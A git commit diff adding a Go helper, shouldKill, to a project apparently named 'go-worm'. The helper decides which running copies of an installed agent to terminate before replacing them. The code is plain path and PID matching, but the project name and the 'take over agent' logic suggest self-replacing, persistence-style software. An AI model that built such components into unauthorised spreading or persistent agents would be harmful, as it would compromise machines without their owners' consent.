fix(core): take over agent, reuse callbacks

- Kill running agents before replace
- Retry copy with backoff while locked
- Reuse syscall callbacks at package scope
- Add callback regression test

lib/instance/kill.go

@@ -0,0 +1,32 @@
+package instance
+
+import (
+	"path/filepath"
+	"strings"
+
+	"tea.chunkbyte.com/kato/go-worm/lib/config"
+)
+
+func shouldKill(selfPID, pid uint32, selfPath, imagePath, installed, exeName string) bool {
+	if pid == 0 || pid == selfPID {
+		return false
+	}
+	if imagePath != "" && sameFilePath(imagePath, selfPath) {
+		return false
+	}
+	if installed != "" && imagePath != "" && sameFilePath(imagePath, installed) {
+		return true
+	}
+	base := exeName
+	if base == "" && imagePath != "" {
+		base = filepath.Base(imagePath)
+	}
+	return strings.EqualFold(base, config.InstalledExeName)
+}
+
+func sameFilePath(a, b string) bool {
+	if a == "" || b == "" {
+		return false
+	}
+	return strings.EqualFold(filepath.Clean(a), filepath.Clean(b))
+}